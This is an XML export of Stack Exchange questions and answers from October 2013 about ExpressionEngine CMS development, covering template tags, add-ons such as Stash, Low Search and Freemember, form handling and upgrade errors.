  <row Id="14537" PostTypeId="2" ParentId="14525" CreationDate="2013-10-11T18:15:17.283" Score="1" Body="&lt;p&gt;I just did a test with hard coded entry ids like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;5172|5188&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returned the same results as omitting the entry id param. So i would say, yes the entry_id is not available as a param for rank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:docs say this The Favorites:Rank loop shows and ranks channel entries by the amount of times they've been saved to Favorites by members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it looks like you want to rank (by favorites count) unfavorited entries!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesnt work either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:favorites:entries entry_id=&quot;7702|5188&quot; } {entry_id}{/exp:favorites:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry, cant help you.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-11T18:37:39.560" LastActivityDate="2013-10-11T18:37:39.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14538" PostTypeId="1" AcceptedAnswerId="14542" CreationDate="2013-10-11T18:53:58.307" Score="1" ViewCount="296" Body="&lt;p&gt;So I inherited another build and the content editor is the stock Rich Text field type. The content has paragraph and strong html tags in place when you View the Source in the edit entry section, but the HTML output isn't outputting those. I personally have used WYGWAM on other builds because I like the interface better and I thought that rich text would just output everything inputed through the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is it possible to &quot;remove the formatting&quot; some place that I can check? I'm not using any plugins on this page that would remove the formatting, but I'm curious why Rich Text isn't outputting the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags or any others for that matter on output? So I wanted to check to see if there was something I was missing regarding the Rich Text editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This EE site is running 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-10-11T21:19:58.337" Title="Weird Rich Text Issue" Tags="|richtext|text-formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14539" PostTypeId="2" ParentId="14532" CreationDate="2013-10-11T19:06:46.023" Score="2" Body="&lt;p&gt;So there's a couple options to solve this. Which one you choose will depend on what Addons you want to use. As far as I can tell, there's no 100% native way to solve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle is to first get all of the child entry ids. You can then use the &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; plugin &lt;code&gt;entry_id&lt;/code&gt; parameter to filter by these ids. The difference is how you get the IDs in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First option:&lt;/strong&gt; Store ids using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; channel=&quot;parent_channel&quot;} &#xA;    {children}&#xA;        {exp:stash:append_value name=&quot;entry_ids&quot; value=&quot;{entry_id}|&quot;}&#xA;    {/children}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot; priority=&quot;2&quot;}&#xA;    {exp:gwcode_categories entry_id=&quot;{exp:stash:get name='entry_ids' backspace='1'}&quot; parse=&quot;inward&quot;}&#xA;        {cat_name}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt; this allows for the tags to be parsed later so that the entry ids loop is finished before the plugin tag is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second option:&lt;/strong&gt; Use &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; to get chid entry ids.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; channel=&quot;parent_channel&quot;} &#xA;    {exp:gwcode_categories entry_id=&quot;{children:child_ids}&quot; parse=&quot;inward&quot;}&#xA;        {cat_name}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2013-10-12T15:07:32.880" LastActivityDate="2013-10-12T15:07:32.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14540" PostTypeId="1" CreationDate="2013-10-11T20:15:53.743" Score="2" ViewCount="268" Body="&lt;p&gt;I'm using XML and DataGrab to move our blog posts to a new home. All the other fields are migrating correctly, but I can't get the Channel Images field to use a image url that's being supplied by my XML file. Is there another way to do this? Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-10-12T03:09:16.830" Title="How do I import into a Channel Images field using DataGrab?" Tags="|channel-images|datagrab|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14541" PostTypeId="2" ParentId="14508" CreationDate="2013-10-11T20:27:52.103" Score="2" Body="&lt;p&gt;When I went to copy/paste over code, I realized I had the disabled=&quot;category_fields&quot; parameter on the loop. Oddly enough, when that parameter is included, you can not access a custom category field.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-10-11T20:27:52.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14542" PostTypeId="2" ParentId="14538" CreationDate="2013-10-11T21:19:58.337" Score="1" Body="&lt;p&gt;Sounds like you're hitting this bug perhaps... There is a patch at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19405&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19405&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-11T21:19:58.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14543" PostTypeId="2" ParentId="14474" CreationDate="2013-10-11T21:31:22.373" Score="2" Body="&lt;p&gt;You can render views from module/plugin tags fine. I've done this in the past and they work with EE tags within them, so most EE tags are available. From memory you might have issues with early global variables not being available as they're called before plugin/module tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So within your plugin/module, instead of returning a parsed variable array for example, you just pass your vars to the view which is located in your add-ons's /views folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I'd have /my-addon/views/foo.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ee()-&amp;gt;load-&amp;gt;view('foo', $vars, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just need to set the third parameter to TRUE so the view is returned as data, as per the CI docs: &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/general/views.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/general/views.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-10-11T21:31:22.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14544" PostTypeId="2" ParentId="14540" CreationDate="2013-10-12T03:09:16.830" Score="1" Body="&lt;p&gt;When I looked at this about 6 months ago the unfortunate answer was it can't be done :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/666/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/forums/viewthread/666/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They did show interest in adding support but doesn't look to be added yet.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-10-12T03:09:16.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14545" PostTypeId="2" ParentId="14528" CreationDate="2013-10-12T09:30:25.607" Score="0" Body="&lt;p&gt;First you should update to EE 1.7.1 which would be updated to 2.7.2 without any problem. &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-12T09:30:25.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14546" PostTypeId="1" CreationDate="2013-10-12T13:08:41.910" Score="0" ViewCount="739" Body="&lt;p&gt;Now i had multi form in my template,this form using POST method and each form contains input hidden.Then how can I get this hidden value in next template (page)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First page code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;input&quot; action=&quot;r_rss_openOneNews_Test&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;urlLabel&quot;&amp;gt;{rss_title}&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;More...&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;urlHidden&quot; value=&quot;{rss_link}&quot;&amp;gt;           &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get &lt;code&gt;urlHidden&lt;/code&gt; value in &lt;code&gt;r_rss_openOneNews_Test&lt;/code&gt; page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2182" LastActivityDate="2013-10-12T13:21:09.327" Title="Form post values" Tags="|forms|" AnswerCount="1" CommentCount="2" ClosedDate="2013-10-30T18:08:38.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="14547" PostTypeId="2" ParentId="14546" CreationDate="2013-10-12T13:21:09.327" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt; for the same.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-12T13:21:09.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14548" PostTypeId="1" CreationDate="2013-10-12T14:19:23.057" Score="2" ViewCount="173" Body="&lt;p&gt;Any idea about How can I send paramaters in url in expression tags and get values of this paramaters in next page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In first template I wrote this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href ='r_rss/openOneNews?url={rss_link}'&amp;gt;{rss_title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Q:How can I get &lt;code&gt;url&lt;/code&gt; paramater value in next page which is &lt;code&gt;openOneNews&lt;/code&gt; to can use as the following in next page &lt;code&gt;&amp;lt;iframe src = 'url' /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2182" LastActivityDate="2013-10-12T15:34:10.853" Title="Sending paramters in url" Tags="|url|querystring|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14549" PostTypeId="2" ParentId="14548" CreationDate="2013-10-12T15:34:10.853" Score="3" Body="&lt;p&gt;You'll need an add-on for this. &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt; is a good option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{get:url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you should rename your variable. &quot;url&quot; is too common and it can create some conflicts.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-12T15:34:10.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14552" PostTypeId="1" CreationDate="2013-10-13T06:12:36.180" Score="2" ViewCount="84" Body="&lt;p&gt;I'm relatively new to EE and hoping it will for me to power a web app prototype I'm working on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway build a public front end that allows users to edit or publish entries without logging into EE? I've not been able to find any documentation would suggest this is possible.&lt;/p&gt;&#xA;" OwnerUserId="2185" LastActivityDate="2013-10-13T10:25:19.487" Title="Using EE to power a web app prototype" Tags="|entries|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14553" PostTypeId="2" ParentId="14552" CreationDate="2013-10-13T10:25:19.487" Score="3" Body="&lt;p&gt;Safecracker used to be answer to this but now it is deprecated and replaced with &quot;Expression Channel Form&quot;. Have a look at this. Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#logged-out-member-id&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#logged-out-member-id&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2013-10-13T10:25:19.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14554" PostTypeId="1" AcceptedAnswerId="14657" CreationDate="2013-10-13T12:22:02.310" Score="3" ViewCount="104" Body="&lt;p&gt;I have a site where there is an uneven depth of categories for a product channel. Previously I've cobbled together a band-aid solution but I'm reaching out to see if there is a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RootA&#xA; -- AChild01&#xA; -- AChild02&#xA;RootB&#xA;RootC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/RootA/ -- Show Child categories&#xA;/products/RootA/AChild01 -- Show entries&#xA;/products/RootB -- Show entries&#xA;/products/ -- Show RootA, RootB &amp;amp; RootC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I need to know if segment_2 has child categories and if so then display Child category links. If segment_2 doesnt have child categories then display entries assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not keen on using a 'category' keyword in the URL, familiar with Switchee and GWcode categories and am using stash (if that helps) and all takes place inside a single template as categories will change over time (names not depths).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How have others dealt with a clean URL structures &lt;strong&gt;and&lt;/strong&gt; uneven category depths ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-10-16T23:36:19.140" Title="Uneven category depths template" Tags="|templates|categories|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14555" PostTypeId="2" ParentId="9238" CreationDate="2013-10-13T14:04:02.850" Score="0" Body="&lt;p&gt;I made it work with {freeform:field:my_newsletter} as my_newsletter is the name of the newsletter.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-10-13T14:04:02.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14558" PostTypeId="1" AcceptedAnswerId="14559" CreationDate="2013-10-13T18:32:22.837" Score="0" ViewCount="354" Body="&lt;p&gt;Here is what I have as a working example of exp:low_search:filters tag on the result page and this works just fine. One can click on a category to show or hide entries for that particular category. Just wondering if the same can be done with collections? I mean can we show all the collections found in the query on the results page to filter results? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;{segment_3}&quot;}&#xA;  {exp:channel:categories channel=&quot;video&quot; style=&quot;linear&quot; category_group=&quot;11&quot; parent_only=&quot;yes&quot;}&#xA;   {if count ==  1}&amp;lt;ul class=&quot;category-filters&quot;&amp;gt;{/if}&#xA;     &amp;lt;li style=&quot;color: #fff;font-size: 20px;&quot;&amp;gt;&#xA;       &amp;lt;a class=&quot;btn btn-small&quot; style=&quot;vertical-align: text-top;&quot; href=&quot;{low_search:url toggle:category=&quot;{category_id}&quot;}&quot;&amp;gt;&#xA;        {if category_id IN ({low_search_category})}&#xA;        &amp;lt;i class=&quot;icon icon-check red-icon&quot; style=&quot;font-size: 160%;vertical-align: middle;&quot;&amp;gt;&amp;lt;/i&amp;gt; {/if} {category_name}&#xA;       &amp;lt;/a&amp;gt;                      &#xA;      &amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;  {/exp:channel:categories}               &#xA;{/exp:low_search:filters} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2013-10-13T18:53:42.140" Title="How to filter results by Collection?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14559" PostTypeId="2" ParentId="14558" CreationDate="2013-10-13T18:53:42.140" Score="1" Body="&lt;p&gt;That's totally possible. Use the same principle as with categories, but using the &lt;code&gt;{collection}&lt;/code&gt; variable pair to generate the collections. Pop this inside your Filters tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{collections}&#xA;    &amp;lt;a href=&quot;{low_search:url toggle:collection=&quot;{collection_name}&quot;}&quot;&amp;gt;{collection_label}&amp;lt;/a&amp;gt;&#xA;    {if collection_is_active}&amp;amp;check;{/if}&#xA;{/collections}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-13T18:53:42.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14560" PostTypeId="1" CreationDate="2013-10-14T07:56:07.150" Score="0" ViewCount="97" Body="&lt;p&gt;Does anybody have a way of using the &lt;strong&gt;channel:month_links&lt;/strong&gt; tag (to create a list of links to monthly archive pages) that takes it's date point from a &lt;em&gt;custom&lt;/em&gt; date field rather than the entry_date field? I have a channel where the user can enter details of journalistic articles that they have written; one of the channel fields is {publication_date}. I want my month_links to be in the vein of: &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Articles published in...&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;June 2013&lt;/li&gt;&#xA;&lt;li&gt;July 2013&lt;/li&gt;&#xA;&lt;li&gt;August 2013&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so I need the tag to hook into the publication_date not the entry_date. So far I can't find a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that I could insist that users use the entry date field as the publication date, but the downside of that is that I can't change the field name (and 'entry date' is not a good label for the field, it's misleading), nor can I add field instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-10-14T17:41:02.443" Title="Using a custom field with the month_links tag" Tags="|custom-fields|channel|entry-date|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14561" PostTypeId="2" ParentId="14414" CreationDate="2013-10-14T09:49:36.990" Score="0" Body="&lt;p&gt;I’m pretty sure you can only use one modifier for a product when adding it to your Store. You can add multiple modifiers in the back end, but only pick one from a select type menu on the front end. This is because modifiers are generally colour or size related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would investigate adding each topping as a product of it’s own, then either creating relationships or category groups for finer control over which toppings go with which pizza, if necessary. Then you can add small prices to toppings and apply discounts at volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you’re going to have to be canny when a pizza is selected. But there’s nothing stopping you from displaying the chosen pizza at the checkout and displaying the related topping products immediately underneath so the customer can build their pizza. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that’s useful.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-10-14T09:49:36.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14562" PostTypeId="1" CreationDate="2013-10-14T10:59:15.690" Score="2" ViewCount="78" Body="&lt;p&gt;I've built a site using freemember and although there's &quot;no activation requried&quot; it automatically sets the member to &quot;Pending&quot; rather than &quot;Members&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked my encryption key and turned off terms of service - still no joy! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty urgent so any help would be awesome :) Thanks&lt;/p&gt;&#xA;" OwnerUserId="2187" LastActivityDate="2013-10-14T11:59:48.557" Title="Freemember - Set to not Activation Required AND it automatically sets to Pending. How do I change this?" Tags="|members|error|freemember|activation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14563" PostTypeId="2" ParentId="14562" CreationDate="2013-10-14T11:59:48.557" Score="2" Body="&lt;p&gt;Have you set group_id whitelist parameter and group_id form input?&#xA;&lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/register_tag.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember/blob/master/docs/register_tag.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-10-14T11:59:48.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14565" PostTypeId="1" AcceptedAnswerId="14595" CreationDate="2013-10-14T14:04:27.247" Score="1" ViewCount="533" Body="&lt;p&gt;As here, I'm looking to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13832/how-can-i-add-configurable-variables-to-my-add-on&quot;&gt;set some variables for a module&lt;/a&gt;. Creating a &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3632/am-i-able-to-store-my-own-module-settings-in-an-ee-table&quot;&gt;DB table seems a bit overkill&lt;/a&gt; (or maybe it's really not). I've noticed that the Simple Commerce Module does two things: creates DB tables &lt;em&gt;and&lt;/em&gt; adds to the &lt;code&gt;config.php&lt;/code&gt; file. With the second method, it's using &lt;code&gt;ee()-&amp;gt;config-&amp;gt;_update_config&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find any documentation on &lt;code&gt;_update_config&lt;/code&gt;. It seems straight-forward enough, but I'm wondering if there's a reason I shouldn't use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I'm looking to package a module for distribution, and I don't want to make it more complicated than it needs to be (e.g., I don't want to have to install an extension &lt;em&gt;and&lt;/em&gt; a module). Is adding variable/settings to &lt;code&gt;config.php&lt;/code&gt; a good idea? &lt;/p&gt;&#xA;" OwnerUserId="221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-10-15T06:06:19.473" Title="Adding module configuration settings to config.php" Tags="|add-on-development|configuration-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14566" PostTypeId="1" AcceptedAnswerId="14567" CreationDate="2013-10-14T15:31:15.030" Score="1" ViewCount="365" Body="&lt;p&gt;does anyone have an idea how I can fix this error message? It flashes up after submitting an entry and stays on screen for only a second or two.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;br &gt;&#xA;  Severity: Notice&lt;br &gt;&#xA;  Message: Undefined index: directory&lt;br &gt;&#xA;  Filename: celltypes/file.php&lt;br &gt;&#xA;  Line Number: 395&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it's referring to the file fieldtype. But the images and files are OK on the page. And it only occurs on one entry.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="22" LastEditDate="2013-10-14T16:17:52.567" LastActivityDate="2013-10-14T16:17:52.567" Title="Matrix PHP error &quot;Undefined index: directory&quot; after EE update" Tags="|matrix|php-errors|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14567" PostTypeId="2" ParentId="14566" CreationDate="2013-10-14T16:15:12.037" Score="1" Body="&lt;p&gt;I recently saw this myself when updating an older site to the latest EE and Matrix. I believe it's because older versions of EE File feildtype did not allow to limit uploads to a specific directory. This corresponds to the &quot;Allowed file upload directories&quot; select menu on the File column in your Matrix custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just edit your Matrix custom field, re-saving the custom field settings and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-10-14T16:15:12.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14568" PostTypeId="1" AcceptedAnswerId="14610" CreationDate="2013-10-14T16:20:39.120" Score="1" ViewCount="294" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes plugin&lt;/a&gt; to add custom URLs to my EE site. Out of the box, it's set up to use the default EE templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;  'blog/:category' =&amp;gt; 'site/blog-category',&#xA;  'blog/:year/:pagination' =&amp;gt; 'site/blog-yearly-archive',&#xA;  'blog/:any' =&amp;gt; 'site/blog-single',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; so my templates are located in /templates/. I was just wondering if it's possible to route the URLs to these templates instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried just using '/templates/site/blog-category' instead but no dice :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2013-10-15T13:54:56.450" Title="Routing custom URLs to Stash templates" Tags="|stash|url|routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14569" PostTypeId="1" CreationDate="2013-10-14T16:24:49.027" Score="1" ViewCount="92" Body="&lt;p&gt;We recently upgraded EE (2.7.2) and run Solspace User (3.4.4) plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our client side registration form no longer works. Upon submission we get &#xA;“You are not authorized to perform this action”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;L.&lt;/p&gt;&#xA;" OwnerUserId="1692" LastActivityDate="2013-10-14T16:34:59.397" Title="Member registration form error" Tags="|error|registration|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14570" PostTypeId="1" CreationDate="2013-10-14T16:29:02.160" Score="0" ViewCount="76" Body="&lt;p&gt;I'm using the EXP:QUERY tag to get the count of a channel. And I am basically trying to use this for page pagination, and its a custom pagination because of the type of template I'm building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I am trying to use the count I receive and use some math to get a page count based on the number of results I have on each page. 5 results per page. So below is what I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $foo = {count} / 5; ?&amp;gt;&#xA;{if segment_2 &amp;lt;= $foo}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;button next&quot; href=&quot;&amp;lt;? $week_count = {segment_2} + 1; echo &quot;/page/&quot; . $week_count; ?&amp;gt;&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to use the PHP variable $foo within the expressionengine if statement but I can't, what is a better way to do this? Without having to write out it all in PHP.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-10-15T14:57:07.770" Title="Store Data in Channel Tag Variable" Tags="|php|mysql|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14571" PostTypeId="2" ParentId="14569" CreationDate="2013-10-14T16:34:59.397" Score="2" Body="&lt;p&gt;In the Solspace changelog for Solspace User in 3.4.5 it states: &quot;Updated User submission forms to be compatible with EE 2.7+.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest updating Solspace User to the latest version so it is compatible with 2.7+. And a little Developer advice. Don't update everything when a new version comes out, unless it fixes a bug you are having, security, or add's a new feature you need. I have sites that are still on 2.4 because I have third party plug-ins, modules, fieldtypes, and accessories that haven't been updated or would change things I don't want. This is my opinion, if something works and nothing is wrong don't worry about updating.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-10-14T16:34:59.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
